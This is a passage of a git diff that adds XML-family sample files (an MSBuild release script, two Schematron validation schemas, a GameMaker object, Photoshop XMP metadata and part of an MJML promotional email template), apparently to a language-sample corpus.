rename to samples/XML/main.ncl
diff --git a/samples/XML/msbuild-example.proj b/samples/XML/msbuild-example.proj
new file mode 100644
index 0000000000..6ff75cc0f3
--- /dev/null
+++ b/samples/XML/msbuild-example.proj
@@ -0,0 +1,85 @@
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\MSBuildCommunityTasks\MSBuild.Community.Tasks.Targets"/>
+  <UsingTask TaskName="Microsoft.Build.Tasks.XmlPeek" AssemblyName="Microsoft.Build.Tasks.v4.0, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
+  <UsingTask TaskName="Microsoft.Build.Tasks.XmlPoke" AssemblyName="Microsoft.Build.Tasks.v4.0, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
+  <PropertyGroup>
+    <SolutionRoot>$(MSBuildProjectDirectory)\..</SolutionRoot>
+    <ProjectRoot>$(SolutionRoot)\Src\Bowerbird.Website</ProjectRoot>
+    <ArtifactsDir>$(SolutionRoot)\Release</ArtifactsDir>
+    <CurrentBuildDateStamp>$([System.DateTime]::Now.ToString("yyyyMMdd"))</CurrentBuildDateStamp>
+    <CurrentBuildTimeStamp>$([System.DateTime]::Now.ToString("hhmm"))</CurrentBuildTimeStamp>
+    <CurrentBuildDir>$(ArtifactsDir)\$(CurrentBuildDateStamp)-$(Configuration)</CurrentBuildDir>
+  </PropertyGroup>
+  <PropertyGroup>
+    <VersionMajor>0</VersionMajor>
+    <VersionMinor>1</VersionMinor>
+    <VersionPatch>0</VersionPatch>
+    <VersionPreRelease></VersionPreRelease>
+  </PropertyGroup>
+  <PropertyGroup>
+    <WebConfig>$(CurrentBuildDir)\Web.config</WebConfig>
+  </PropertyGroup>
+  <ItemGroup>
+    <PackageFiles Include="$(ProjectRoot)\**\*.*"
+                  Exclude="$(ProjectRoot)\bin\*.pdb;
+                  $(ProjectRoot)\bin\*.xml;
+                  $(ProjectRoot)\Logs\**\*.*;
+                  $(ProjectRoot)\obj\**\*.*;
+                  $(ProjectRoot)\test\**\*.*;
+                  $(ProjectRoot)\media\**\*.*;
+                  $(ProjectRoot)\**\*.orig;
+                  $(ProjectRoot)\*.config;
+                  $(ProjectRoot)\*.xml;
+                  $(ProjectRoot)\**\*.csproj;
+                  $(ProjectRoot)\*.csproj.user;">
+    </PackageFiles>
+    <ConfigFiles Include="$(ProjectRoot)\Web.config" >
+    </ConfigFiles>
+  </ItemGroup>
+  <Target Name="UpdateWebConfig"  Condition=" '$(CurrentBuildDateStamp)' != '' ">
+      <XmlPoke Namespaces="&lt;Namespace Prefix='msb' Uri='http://schemas.microsoft.com/developer/msbuild/2003'/&gt;"
+          XmlInputPath="$(WebConfig)"
+          Query="//add[@key='staticContentIncrement']/@value"
+          Value="$(CurrentBuildDateStamp)-$(CurrentBuildTimeStamp)" />
+    </Target>
+  <Target Name="CreateOutputDir">
+    <Message Text="Creating Directory $(CurrentBuildDir)" />
+    <RemoveDir Directories="$(CurrentBuildDir)" />
+    <Delete Files="$(CurrentBuildDir)" />
+    <MakeDir Directories="$(CurrentBuildDir)" />
+  </Target>
+  <Target Name="BuildMediaDirectories">
+    <MakeDir Directories="$(CurrentBuildDir)\media" />
+  </Target>
+  <Target Name="ConfigSettingsMessages">
+    <Message Text="Configuration is $(Configuration)" />
+    <Message Text="BuildNumber is $(BuildNumber)" />
+    <Message Text="ProjectRoot is $(ProjectRoot)" />
+    <Message Text="CurrentBuildDir is $(CurrentBuildDir)" />
+  </Target>
+  <Target Name="BuildSolution">
+    <MSBuild Projects="$(SolutionRoot)\Bowerbird.sln" Targets="Build" Properties="Configuration=$(Configuration)" />
+  </Target>
+  <Target Name="CopyFilesToReleaseDir">
+    <Copy SourceFiles="@(PackageFiles)" DestinationFiles="@(PackageFiles->'$(CurrentBuildDir)\%(RecursiveDir)%(Filename)%(Extension)')" />
+    <Copy SourceFiles="@(ConfigFiles)" DestinationFiles="$(CurrentBuildDir)\web.config" />
+  </Target>
+  <Target Name="ZipUpReleaseFiles">
+    <ItemGroup>
+      <ZipFiles Include="$(CurrentBuildDir)\**\*.*" Exclude="*.zip" />
+    </ItemGroup>
+    <Zip Files="@(ZipFiles)" WorkingDirectory="$(CurrentBuildDir)\$(Configuration)\" ZipFileName="$(CurrentBuildDateStamp)-$(Configuration).zip" ZipLevel="9" />
+  </Target>
+  <Target Name="CopyZipToReleaseDir" DependsOnTargets="ZipUpReleaseFiles">
+    <Copy SourceFiles="$(MSBuildProjectDirectory)\$(CurrentBuildDateStamp)-$(Configuration).zip" DestinationFiles="$(ArtifactsDir)\$(CurrentBuildDateStamp)-$(Configuration).zip" />
+    <Delete Files="$(MSBuildProjectDirectory)\$(CurrentBuildDateStamp)-$(Configuration).zip" />
+  </Target>
+  <Target Name="Build" DependsOnTargets="CreateOutputDir">
+    <CallTarget Targets="BuildMediaDirectories"/>
+    <CallTarget Targets="ConfigSettingsMessages"/>
+    <CallTarget Targets="BuildSolution"/>
+    <CallTarget Targets="CopyFilesToReleaseDir"/>
+    <CallTarget Targets="UpdateWebConfig" />
+    <CallTarget Targets="CopyZipToReleaseDir"/>
+  </Target>
+</Project>
diff --git a/samples/XML/namespace-strict.sch b/samples/XML/namespace-strict.sch
new file mode 100644
index 0000000000..f55a5143f0
--- /dev/null
+++ b/samples/XML/namespace-strict.sch
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<schema xmlns="http://purl.oclc.org/dsdl/schematron"
+   queryBinding="xslt2"
+   xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+
+  <!-- XSLT 2.0 Schematron by Wendell Piez (Mulberry Technologies, Inc.),
+       August 2011 -->
+  
+  <!-- This Schematron is released into the public domain.     
+       Please credit your sources. -->
+  
+  
+  <!-- Requires Schematron that allows embedded XSLT 2.0 with support for
+       the namespace:: axis. Tested with Saxon 9.3.0.5. -->
+  
+  <ns prefix="m" uri="http://www.mulberrytech.com/xslt/util"/>
+  
+  <xsl:variable name="ns-set" xmlns:m="http://www.mulberrytech.com/xslt/util">
+    <!-- include elements to declare expected namespace prefixes
+         with their bindings, like so:
+
+         (prefix 'mml')
+         <m:ns prefix="mml"   uri="http://www.w3.org/1998/Math/MathML"/>
+         (default namespace, no prefix)
+         <m:ns prefix=""      uri="http://www.w3.org/1998/Math/MathML"/>
+         -->
+         
+    <m:ns prefix="mml"   uri="http://www.w3.org/1998/Math/MathML"/>
+    <m:ns prefix="xlink" uri="http://www.w3.org/1999/xlink"/>>
+    <m:ns prefix="oasis" uri="http://docs.oasis-open.org/ns/oasis-exchange/table"/>
+
+    <!-- 'xml' prefix is always in scope with this binding -->
+    <m:ns prefix="xml"   uri="http://www.w3.org/XML/1998/namespace"/>
+  </xsl:variable>
+  
+  <pattern>
+    <!-- checking the document element against the spec given in ns-set -->
+    <rule context="/*">
+      <let name="new-prefixes" value="in-scope-prefixes(.)[not(. = $ns-set/m:ns/@prefix)]"/>
+      <let name="new-namespaces" value="(for $p in (in-scope-prefixes(.)) return namespace-uri-for-prefix($p,.))
+        [not(. = $ns-set/m:ns/@uri)]"/>
+      <report test="exists($new-prefixes)">
+        Unrecognized namespace prefix<xsl:value-of select="('es')[count($new-prefixes) gt 1]"/>: 
+        <value-of select="string-join(
+          (for $p in $new-prefixes return m:label($p)),
+          ', ')"/>
+      </report>
+      <report test="exists($new-namespaces)">
+        Unrecognized namespace URI<xsl:value-of select="('s')[count($new-namespaces) gt 1]"/>: 
+        <value-of select="string-join(($new-namespaces),', ')"/>
+      </report>
+      
+      <let name="misassigned-prefixes" value="in-scope-prefixes(.)[not(.=$new-prefixes)]
+        [for $p in (.) return 
+          namespace-uri-for-prefix($p,current()) ne $ns-set/m:ns[@prefix=$p]/@uri]"/>
+      <report test="exists($misassigned-prefixes)">
+        Prefix<xsl:value-of select="('es')[count($misassigned-prefixes) gt 1]"/> 
+        assigned incorrectly: <value-of select="string-join(
+          (for $p in $misassigned-prefixes return
+          concat(m:label($p), ' (should be ''',$ns-set/m:ns[@prefix=$p]/@uri,''')')),
+          '; ')"/>
+      </report>
+    </rule>
+    
+    <!-- Elsewhere, all namespaces given must correspond with those
+      on the parent -->
+    <rule context="*">
+      <assert test="every $n in (namespace::*) satisfies
+        exists(../namespace::*[deep-equal(.,$n)])">
+        Namespace may not be declared here.
+      </assert>
+      <assert test="every $n in (../namespace::*) satisfies
+        exists(namespace::*[deep-equal(.,$n)])">
+        Namespace may not be undeclared here.
+      </assert>
+    </rule>
+  </pattern>
+  
+  <xsl:function name="m:label" as="xs:string">
+    <xsl:param name="label" as="xs:string"/>
+    <xsl:sequence select="if (string($label)) then concat('''',$label,'''') else '[unprefixed]'"/>
+  </xsl:function>
+  
+</schema>
\ No newline at end of file
diff --git a/samples/XML/oasis-table.sch b/samples/XML/oasis-table.sch
new file mode 100644
index 0000000000..c947aeb256
--- /dev/null
+++ b/samples/XML/oasis-table.sch
@@ -0,0 +1,151 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- ============================================================= -->
+<!-- 
+  This work is in the public domain and may be reproduced, published or 
+  otherwise used without the permission of the National Library of Medicine (NLM).
+  
+  We request only that the NLM is cited as the source of the work.
+  
+  Although all reasonable efforts have been taken to ensure the accuracy and 
+  reliability of the software and data, the NLM and the U.S. Government  do 
+  not and cannot warrant the performance or results that may be obtained  by
+  using this software or data. The NLM and the U.S. Government disclaim all 
+  warranties, express or implied, including warranties of performance, 
+  merchantability or fitness for any particular purpose.
+-->
+<!-- ============================================================= -->
+
+<schema xmlns="http://purl.oclc.org/dsdl/schematron"
+  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+  xmlns:m="http://mulberrytech.com/xslt/oasis-html/util"
+  queryBinding="xslt2">
+  
+  <title>OASIS/CALS table validation</title>
+  
+  <!-- Mulberry Technologies (wap)
+       
+       Designed for JATS, but probably also useful in other
+       systems using OASIS/CALS/Docbook tables
+       
+       Assumes a table DTD (or schema) valid to the OASIS/CALS/Docbook model
+  -->
+  
+  <ns prefix="o" uri="http://docs.oasis-open.org/ns/oasis-exchange/table"/>
+  <ns prefix="m" uri="http://mulberrytech.com/xslt/oasis-html/util"/>
+  <!--<ns prefix="xsl" uri="http://www.w3.org/1999/XSL/Transform"/>-->
+  
+  <!-- the included stylesheet includes key and function declarations required -->
+  <xsl:include href="oasis-exchange-support.xsl"/>
+  
+  <let name="default-border-style" value="solid"/>
+  
+  <pattern>
+    <rule context="o:tgroup">
+      <let name="okay-cols" value="@cols[. castable as xs:integer][. > 0]"/>
+      <assert test="exists(@cols)">tgroup/@cols is not given</assert>
+      <assert test="empty(@cols) or exists($okay-cols)">@cols should be a natural number
+      (integer greater than zero).</assert>
+      <assert test="empty($okay-cols) or empty(o:colspec) or (count(o:colspec) = @cols)">The tgroup has 
+        <value-of select="count(o:colspec)"/> colspec<value-of select="if (count(o:colspec) = 1) then '' else 's'"/>, 
+        but its @cols is given as '<value-of select="@cols"/>'.</assert>
+      <report test="not(*/o:row/m:actual-cols(.) != */o:row/m:actual-cols(.))
+        and ($okay-cols != m:actual-cols((*/o:row)[1]))">tgroup/@cols is given as
+        <value-of select="$okay-cols"/>, but all rows have <value-of
+          select="m:actual-cols((*/o:row)[1])"/> entr<value-of 
+          select="if (m:actual-cols((*/o:row)[1]) eq 1) then 'y' else 'ies'"/>.
+      </report>
+      <report test="@align='char'" role="warning">Without assigning @char or @charoff to everything,
+        assigning @align='char' to tgroup only aligns contents to right of center.</report>
+    </rule>
+    
+    <rule context="o:colspec">
+      <let name="okay-colwidth"
+        value="@colwidth[exists(m:colwidth-unit(current()))]"/>
+      <assert test="empty(@colwidth) or exists($okay-colwidth)">Malformed @colwidth.</assert>
+      <assert test="empty($okay-colwidth) or 
+        (count(../o:colspec[m:colwidth-unit(.)=m:colwidth-unit(current())]) &gt;
+         count(../o:colspec[not(m:colwidth-unit(.)=m:colwidth-unit(current()))]))">@colwidth unit
+        (<value-of select="m:colwidth-unit(.)"/>) is not consistent with the
+        units on other colspecs.</assert>
+      
+      <assert test="empty($okay-colwidth) or matches($okay-colwidth,'^\s*\*\s*$')
+        or (xs:double(replace($okay-colwidth,'[\s\p{L}\*]','')[. castable as xs:double]) &gt; 0)">@colwidth must be positive</assert>
+      <report test="empty(m:colwidth-unit(.))
+        and exists(../o:colspec/m:colwidth-unit(.))">The same unit of measure should be used on every 
+        colspec/@colwidth.</report>
+      
+      <assert test="empty(@colnum) or (@colnum = count(.|preceding-sibling::o:colspec))">@colnum 
+        '<value-of select="@colnum"/>' does not correspond to
+        the column's actual number (<value-of select="count(.|preceding-sibling::o:colspec)"/>)</assert>
+      <report test="@colname = (../o:colspec except .)/@colname">The same @colname is assigned to more than
+         one colspec.</report>
+      <assert test="not(@align='char') or exists(@char)" role="warning">@align='char', but no @char is given.</assert>
+      <report test="normalize-space(@char) and not((@align,../@align)[1]='char')">@char is given, but alignment is not 'char'.</report>
+      <assert test="empty(@charoff) or ((@align,../@align)[1]='char')" role="warning">@charoff is given, but alignment is not 'char'.</assert>
+    </rule>
+    
+    <rule context="o:row">
+      <let name="tgroup" value="ancestor::o:tgroup[1]"/>
+      <let name="rowno" value="m:rowno(.)"/>
+      <let name="given-entries" value="count(distinct-values(key('entry-by-row',$rowno,$tgroup)/m:across(.)))"/>
+      <report test="$given-entries &lt; $tgroup/@cols
+        and exists($tgroup/@cols[. castable as xs:integer])" role="warning">
+        The row doesn't have enough entries (<value-of select="$tgroup/@cols"/> 
+        <value-of select="if ($tgroup/@cols=1) then ' is' else ' are'"/> expected;
+        <value-of select="$given-entries"/> <value-of select="if ($given-entries=1) then ' is' else ' are'"/> given).
+      </report>
+    </rule>
+    <rule context="o:entry">
+      <let name="tgroup" value="ancestor::o:tgroup[1]"/>
+      <assert test="empty(@nameend) or exists(key('colspec-by-name',@nameend,$tgroup))">No colspec is 
+        named <value-of select="@nameend"/>.</assert>
+      <assert test="empty(@nameend|@namest) or 
+        (key('colspec-by-name',@nameend,$tgroup) >> key('colspec-by-name',@namest,$tgroup))">Entry's end
+        column (<value-of select="@nameend"/>) must follow its start column 
+        (<value-of select="@namest"/>).</assert>
+      <assert test="empty(@namest) or exists(key('colspec-by-name',@namest,$tgroup))">No colspec is 
+        named <value-of select="@namest"/>.</assert>
+      <assert test="empty(@colname) or exists(key('colspec-by-name',@colname,$tgroup))">No colspec is 
+        named <value-of select="@colname"/>.</assert>
+      <assert test="empty(@nameend) or exists(@colname|@namest)">Entry is assigned an end
+        column (<value-of select="@nameend"/>) but not a start column.</assert>
+      <assert test="not(@colname != @namest)">Entry is assigned to column <value-of select="@colname"/>,
+        so it can't start at column <value-of select="@namest"/>.
+      </assert>
+
+      <assert test="m:across(.)[1] &gt; (preceding-sibling::o:entry[1]/m:across(.)[last()],0)[1]">
+        Entry must be assigned to a free column (after its preceding entries). 
+      </assert>
+      
+      <report test="m:down(.) &gt; m:rowno(../../o:row[last()])">This entry doesn't fit into
+        its <value-of select="local-name(../..)"/>.</report>
+      
+      <report test="(exists(@morerows) and
+        (key('entry-by-row',m:down(.),$tgroup)/m:across(.)[last()] &gt; $tgroup/@cols))
+        or empty($tgroup/@cols)" role="warning">
+        A row in which this entry appears has too many entries.
+      </report>
+      <!-- the next rule will never fire for entries spanning columns: they always
+           fit by virtue of being assigned a @nameend -->
+      <report test="(m:across(.)[last()] &gt; $tgroup/@cols) or empty($tgroup/@cols)">
+        Entry does not fit in row. (<value-of select="$tgroup/@cols"/> are allowed; entry
+        is in column <value-of select="m:across(.)[last()]"/>.)
+        <!-- Entry does not fit in row. (# columns are allowed; row ends in column #.)       -->
+      </report>
+      
+      <assert test="empty(@char) or m:align(.)='char'" role="warning">@char is given, but alignment is not 'char'.</assert>
+      <assert test="empty(@charoff) or m:align(.)='char'" role="warning">@charoff is given, but alignment is not 'char'.</assert>
+      <assert test="empty(@charoff) or ((@charoff castable as xs:integer) and
+        (@charoff &gt;= 0) and (@charoff &lt;= 100))">@charoff must be a whole number between 0 and 100.</assert>
+      <assert test="not(m:align(.)='char') or exists(@char|m:colspec-for-entry(.)/@char)" role="warning">
+        Entry is designated for character alignment, but no character (@char) is given on it or its colspec.
+      </assert>
+      <assert test="empty(@char) or not(@char != m:colspec-for-entry(.)/@char)">
+        Entry is assigned an alignment character (<value-of select="@char"/>)
+        different from its column's (<value-of select="m:colspec-for-entry(.)/@char"/>).</assert>
+      <report test="exists(*) and (m:align(.)='char')" role="warning">With @align='char', markup of 
+        entry contents (<value-of select="string-join(distinct-values(*/name()),', ')"/>) will be ignored.</report>
+    </rule>
+  </pattern>
+</schema>
\ No newline at end of file
diff --git a/samples/XML/obj_control.object.gmx b/samples/XML/obj_control.object.gmx
new file mode 100644
index 0000000000..bdede300ba
--- /dev/null
+++ b/samples/XML/obj_control.object.gmx
@@ -0,0 +1,156 @@
+<!--This Document is generated by GameMaker, if you edit it by hand then you do so at your own risk!-->
+<object>
+  <spriteName>&lt;undefined&gt;</spriteName>
+  <solid>0</solid>
+  <visible>-1</visible>
+  <depth>0</depth>
+  <persistent>0</persistent>
+  <parentName>&lt;undefined&gt;</parentName>
+  <maskName>&lt;undefined&gt;</maskName>
+  <events>
+    <event eventtype="2" enumb="0">
+      <action>
+        <libid>1</libid>
+        <id>603</id>
+        <kind>7</kind>
+        <userelative>0</userelative>
+        <isquestion>0</isquestion>
+        <useapplyto>-1</useapplyto>
+        <exetype>2</exetype>
+        <functionname></functionname>
+        <codestring></codestring>
+        <whoName>self</whoName>
+        <relative>0</relative>
+        <isnot>0</isnot>
+        <arguments>
+          <argument>
+            <kind>1</kind>
+            <string>FPSController_alarm0();
+</string>
+          </argument>
+        </arguments>
+      </action>
+    </event>
+    <event eventtype="3" enumb="0">
+      <action>
+        <libid>1</libid>
+        <id>603</id>
+        <kind>7</kind>
+        <userelative>0</userelative>
+        <isquestion>0</isquestion>
+        <useapplyto>-1</useapplyto>
+        <exetype>2</exetype>
+        <functionname></functionname>
+        <codestring></codestring>
+        <whoName>self</whoName>
+        <relative>0</relative>
+        <isnot>0</isnot>
+        <arguments>
+          <argument>
+            <kind>1</kind>
+            <string>FPSController_step();
+</string>
+          </argument>
+        </arguments>
+      </action>
+    </event>
+    <event eventtype="7" enumb="4">
+      <action>
+        <libid>1</libid>
+        <id>603</id>
+        <kind>7</kind>
+        <userelative>0</userelative>
+        <isquestion>0</isquestion>
+        <useapplyto>-1</useapplyto>
+        <exetype>2</exetype>
+        <functionname></functionname>
+        <codestring></codestring>
+        <whoName>self</whoName>
+        <relative>0</relative>
+        <isnot>0</isnot>
+        <arguments>
+          <argument>
+            <kind>1</kind>
+            <string>//Start our 3D engine
+init3D();
+
+// Make the FPS controller (for speeds based on FPS)
+FPSController_create();
+</string>
+          </argument>
+        </arguments>
+      </action>
+    </event>
+    <event eventtype="8" enumb="64">
+      <action>
+        <libid>1</libid>
+        <id>603</id>
+        <kind>7</kind>
+        <userelative>0</userelative>
+        <isquestion>0</isquestion>
+        <useapplyto>-1</useapplyto>
+        <exetype>2</exetype>
+        <functionname></functionname>
+        <codestring></codestring>
+        <whoName>self</whoName>
+        <relative>0</relative>
+        <isnot>0</isnot>
+        <arguments>
+          <argument>
+            <kind>1</kind>
+            <string>/// Draw some debugging text
+draw_set_color(c_gray)
+draw_text(5,5,"GMOculus version " + string(GMO_getVersionString()) + " - DLL: " + string(string(global._GMO_DLL_VERSION)) +
+ "#Device: " + string(global._GMO_DEVICE_NAME) +
+ "#Press F1 for help and controls" +
+ "##FPS: " + string(fps) +
+ "#Resolution: " + string(GMO_getResolutionWidth()) + "x" + string(GMO_getResolutionHeight()) +
+ "#XY: " + string(obj_camera.x) + "x" + string(obj_camera.y) +
+ "##Yaw:" +string(obj_camera.yaw)+
+ "#Pitch:" +string(obj_camera.pitch)+
+ "#Roll:" +string(obj_camera.roll)+
+ "#Interpupillary Distance" + string(GMO_getIPD())
+)
+
+// Change IPD
+if (keyboard_check_direct(ord("L"))) {
+    GMO_setIPD(GMO_getIPD()+0.01);
+}
+if (keyboard_check_direct(ord("K"))) {
+    GMO_setIPD(GMO_getIPD()-0.01);
+}
+</string>
+          </argument>
+        </arguments>
+      </action>
+    </event>
+    <event eventtype="9" enumb="27">
+      <action>
+        <libid>1</libid>
+        <id>332</id>
+        <kind>0</kind>
+        <userelative>0</userelative>
+        <isquestion>0</isquestion>
+        <useapplyto>0</useapplyto>
+        <exetype>1</exetype>
+        <functionname>action_end_game</functionname>
+        <codestring></codestring>
+        <whoName>self</whoName>
+        <relative>0</relative>
+        <isnot>0</isnot>
+      </action>
+    </event>
+  </events>
+  <PhysicsObject>0</PhysicsObject>
+  <PhysicsObjectSensor>0</PhysicsObjectSensor>
+  <PhysicsObjectShape>0</PhysicsObjectShape>
+  <PhysicsObjectDensity>0.5</PhysicsObjectDensity>
+  <PhysicsObjectRestitution>0.100000001490116</PhysicsObjectRestitution>
+  <PhysicsObjectGroup>0</PhysicsObjectGroup>
+  <PhysicsObjectLinearDamping>0.100000001490116</PhysicsObjectLinearDamping>
+  <PhysicsObjectAngularDamping>0.100000001490116</PhysicsObjectAngularDamping>
+  <PhysicsObjectFriction>0.200000002980232</PhysicsObjectFriction>
+  <PhysicsObjectAwake>-1</PhysicsObjectAwake>
+  <PhysicsObjectKinematic>0</PhysicsObjectKinematic>
+  <PhysicsShapePoints/>
+</object>
diff --git a/samples/XML/psd-data.xmp b/samples/XML/psd-data.xmp
new file mode 100644
index 0000000000..523c79a132
--- /dev/null
+++ b/samples/XML/psd-data.xmp
@@ -0,0 +1,40 @@
+<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13        ">
+	<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
+		<rdf:Description rdf:about=""
+			xmlns:xmp="http://ns.adobe.com/xap/1.0/"
+			xmlns:dc="http://purl.org/dc/elements/1.1/"
+			xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
+			xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
+			xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
+			xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
+			xmlns:exif="http://ns.adobe.com/exif/1.0/">
+			<xmp:CreatorTool>Adobe Photoshop CC (Macintosh)</xmp:CreatorTool>
+			<xmp:CreateDate>2018-05-05T02:56:22+10:00</xmp:CreateDate>
+			<xmp:ModifyDate>2018-05-05T02:57:06+10:00</xmp:ModifyDate>
+			<xmp:MetadataDate>2018-05-05T02:57:06+10:00</xmp:MetadataDate>
+			<dc:format>application/vnd.adobe.photoshop</dc:format>
+			<photoshop:ColorMode>3</photoshop:ColorMode>
+			<photoshop:ICCProfile>sRGB IEC61966-2.1</photoshop:ICCProfile>
+			<xmpMM:InstanceID>xmp.iid:d75f214d-dda3-4967-a014-42ffbff2dbeb</xmpMM:InstanceID>
+			<xmpMM:DocumentID>xmp.did:d75f214d-dda3-4967-a014-42ffbff2dbeb</xmpMM:DocumentID>
+			<xmpMM:OriginalDocumentID>xmp.did:d75f214d-dda3-4967-a014-42ffbff2dbeb</xmpMM:OriginalDocumentID>
+			<xmpMM:History>
+				<rdf:Seq>
+					<rdf:li rdf:parseType="Resource">
+						<stEvt:action>created</stEvt:action>
+						<stEvt:instanceID>xmp.iid:d75f214d-dda3-4967-a014-42ffbff2dbeb</stEvt:instanceID>
+						<stEvt:when>2018-05-05T02:56:22+10:00</stEvt:when>
+						<stEvt:softwareAgent>Adobe Photoshop CC (Macintosh)</stEvt:softwareAgent>
+					</rdf:li>
+				</rdf:Seq>
+			</xmpMM:History>
+			<tiff:Orientation>1</tiff:Orientation>
+			<tiff:XResolution>720000/10000</tiff:XResolution>
+			<tiff:YResolution>720000/10000</tiff:YResolution>
+			<tiff:ResolutionUnit>2</tiff:ResolutionUnit>
+			<exif:ColorSpace>1</exif:ColorSpace>
+			<exif:PixelXDimension>321</exif:PixelXDimension>
+			<exif:PixelYDimension>290</exif:PixelYDimension>
+		</rdf:Description>
+	</rdf:RDF>
+</x:xmpmeta>
diff --git a/samples/XML/racoon.mjml b/samples/XML/racoon.mjml
new file mode 100644
index 0000000000..e297407ca0
--- /dev/null
+++ b/samples/XML/racoon.mjml
@@ -0,0 +1,240 @@
+<mjml>
+  <mj-body>
+    <mj-container background-color="#d6dde5">
+      <mj-section full-width="full-width" padding-bottom="20">
+      </mj-section>
+      <mj-navbar background-color="#ffffff">
+        <mj-column width="50%">
+          <mj-image href="https://mjml.io" src="http://191n.mj.am/img/191n/3s/x4u.png" alt="Racoon logo" align="center" padding="10">
+          </mj-image>
+        </mj-column>
+        <mj-column width="50%">
+          <mj-inline-links base-url="https://mjml.io" hamburger="hamburger" ico-color="#fa8739" padding-top="5px">
+            <mj-link href="https://mjml.io" color="#000000">home</mj-link>
+            <mj-link href="https://mjml.io" color="#000000">blog</mj-link>
+            <mj-link href="https://mjml.io" color="#000000">store</mj-link>
+          </mj-inline-links>
+        </mj-column>
+      </mj-navbar>
+      <mj-section background-color="#fa8739" padding-bottom="0" padding-top="0">
+        <mj-column width="200">
+          <mj-text align="left" color="#fff" font-size="40" padding-left="25" padding-right="25" padding-bottom="10" padding-top="10">
+            <p style="font-size: 17px;">SPRING PROMO</p>
+            <p>50%</p>
+            <p>OFFER</p>
+            <p style="font-size: 13px">Lorem ipsum dolor sit amet, consectetur adipiscing elit<br /></p>
+          </mj-text>
+          <mj-button background-color="#fff" color="#fa8739" font-size="16px" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-left="25" padding-right="25" padding-bottom="10" padding-top="10">
+            SHOP NOW
+          </mj-button>
+        </mj-column>
+        <mj-column width="400">
+          <mj-image src="http://191n.mj.am/img/191n/3s/xjg.jpg" alt="Clothes set" align="center" border="none" width="400" padding-left="0" padding-right="0" padding-bottom="0" padding-top="0">
+
+          </mj-image>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#2f323b" padding-bottom="0" padding-top="0">
+        <mj-column width="25%">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4t.png" alt="Box free shipping" align="center" border="none" width="42" padding-left="0" padding-right="0" padding-bottom="10" padding-top="10">
+
+          </mj-image>
+        </mj-column>
+        <mj-column width="75%">
+          <mj-text align="left" color="#fff" font-size="18" padding-left="25" padding-right="25" padding-bottom="10" padding-top="10">
+            <p>FREE SHIPPING ON ORDER <span style="font-weight: bold;color: rgb(250, 135, 57);">OVER 55&#x20AC;</span></p>
+          </mj-text>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fff" padding-bottom="20" padding-top="10">
+        <mj-column vertical-align="bottom">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4v.jpg" alt="Chesterk tank" align="center" border="none" width="209" padding-left="0" padding-right="0" padding-bottom="20" padding-top="30">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>CHESTERK TANK</p>
+            <p style="color: rgb(250, 135, 57);">15&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column vertical-align="bottom">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4g.jpg" alt="Beyond backpack" align="center" border="none" width="178" padding-left="0" padding-right="0" padding-bottom="20" padding-top="30">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>BEYOND BACKPACK</p>
+            <p style="color: rgb(250, 135, 57);">20&#x20AC;</p>
+          </mj-text>
+
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column vertical-align="bottom">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x46.jpg" alt="Jensen shorts" align="center" border="none" width="182" padding-left="0" padding-right="0" padding-bottom="20" padding-top="30">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>JENSEN SHORTS</p>
+            <p style="color: rgb(250, 135, 57);">28&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fff" padding-bottom="20" padding-top="10">
+        <mj-column vertical-align="bottom">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4h.jpg" alt="Verdant cap" align="center" border="none" width="129" padding-left="0" padding-right="0" padding-bottom="20" padding-top="20">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>VERDANT CAP</p>
+            <p style="color: rgb(250, 135, 57);">20&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" border="none" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-left="25" padding-right="25" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column vertical-align="bottom">
